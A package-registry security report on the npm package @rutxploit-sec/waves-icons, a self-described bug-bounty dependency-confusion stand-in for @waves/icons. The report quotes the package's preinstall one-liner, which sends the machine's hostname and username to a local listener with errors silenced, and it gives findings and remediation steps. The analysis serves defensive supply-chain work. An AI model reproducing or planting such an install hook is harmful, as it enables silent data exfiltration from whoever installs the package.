registry / Install hook abuse / @rutxploit-sec/waves-icons

@rutxploit-sec/waves-icons

BUGBOUNTY PoC — represents @waves/icons — @waves/icons (4 refs) — Subsplash report 7a8faa0b

This report shows the evidence for @rutxploit-sec/waves-icons@1.0.0, the only known version.

AI Security Review

scanned 25d ago · by lpm-firewall-ai

The preinstall hook unconditionally harvests hostname and username and sends them over HTTP during install, with errors silenced, while presenting the package as @waves/icons. Self-described bug-bounty text does not remove that install-time exfiltration.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Automatic npm preinstall, before any user command.

Impact

Install-time disclosure of host identity to a local listener, hidden from the install log, as a dependency-confusion stand-in for @waves/icons.

Mechanism

node -e reads os.hostname and os.userInfo().username and issues http.get to http://127.0.0.1:8099 with pkg, host, and user query parameters, with stderr redirected to /dev/null.

Attack narrative

Installing @rutxploit-sec/waves-icons runs a preinstall one-liner before the package is used. That script reads the hostname and username and GETs them to 127.0.0.1:8099 as if the package were @waves/icons, while stderr is discarded. Loading index.js only prints a dependency-confusion notice. Bug-bounty wording in the metadata does not change the unsolicited install beacon.

AI rationale

Evidence

package.jsonindex.js

Network endpoints1

127.0.0.1:8099

Decision evidence

public snapshot

AI called this Malicious at 94.0% confidence as Malware with low false-positive risk.

Evidence for block

The preinstall script runs node, reads os.hostname and os.userInfo().username, and sends them in an HTTP GET to http://127.0.0.1:8099 while discarding stderr.
package.json names the package @rutxploit-sec/waves-icons and describes it as standing in for the unrelated package @waves/icons.
index.js prints a dependency-confusion marker when the module is loaded and exports an empty object.

Evidence against

The callback host is loopback 127.0.0.1:8099 rather than a public server.
index.js does not send data; it only logs and exports an empty object.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

HighEntropyStringsTrivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 109 B of source

Source & flagged code

6 flagged

package.jsonView file

•scripts.preinstall = node -e "var http=require('http'),os=require('os'),h=os.hostname(),u=os.userInfo().username;http.get('http://127.0.0.1:8099/?pkg='+encodeURIComponent('@waves/icons')+'&host='+encod...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7preinstall": "node -e \"var http=require('http'),os=require('os'),h=os.hostname(),u=os.userInfo().username;http.get('http://127.0.0.1:8099/?pkg='+encodeURIComponent('@waves/icons')+'&host='+encodeURIComponent(h)+'&user='+encodeURIComponent(u),function(r){r.resume()});\" 2>/dev/null; echo '[BUGBOUNTY] @waves/icons dep c

High

Ai Review Evidence

The preinstall script runs node, reads os.hostname and os.userInfo().username, and sends them in an HTTP GET to http://127.0.0.1:8099 while discarding stderr.

package.jsonView on unpkg · L7

2"name": "@rutxploit-sec/waves-icons", "version": "1.0.0", "description": "BUGBOUNTY PoC — represents @waves/icons — @waves/icons (4 refs) — Subsplas

High

Ai Review Evidence

package.json names the package @rutxploit-sec/waves-icons and describes it as standing in for the unrelated package @waves/icons.

package.jsonView on unpkg · L2

package.json#scripts.preinstallView file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

package.json#scripts.preinstallView on unpkg

index.jsView file

1var os=require("os"); console.log("[DEP-CONFUSION] @waves/icons loaded from PUBLIC npm"); module.exports={};

High

Suspicious Dependency Evidence

index.js prints a dependency-confusion marker when the module is loaded and exports an empty object.

index.jsView on unpkg · L1

Source & flagged code

6 flagged · loading source

package.jsonView file

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

High

Ai Review Evidence

The preinstall script runs node, reads os.hostname and os.userInfo().username, and sends them in an HTTP GET to http://127.0.0.1:8099 while discarding stderr.

Findings

1 Critical5 High2 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

HighSemantic Analysis Limitedpackage.json#scripts.preinstall

HighAi Review Evidencepackage.json

HighSuspicious Dependency Evidenceindex.js

LowScripts Present

LowHigh Entropy Strings

Affected versions and remediation

This report applies to @rutxploit-sec/waves-icons@1.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing @rutxploit-sec/waves-icons@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-29 22:31:17.094Z (UTC).

Source advisory published: 2026-09-29 22:11:59.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

1.0.0latestshownMaliciousInstall Hook AbuseBlockPublishedSep 27, 2026, 7:03 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

More from @rutxploit-sec

Other install hook abuse packages

Behavioral surface

Related packages

More from @rutxploit-sec

Other install hook abuse packages

Source & flagged code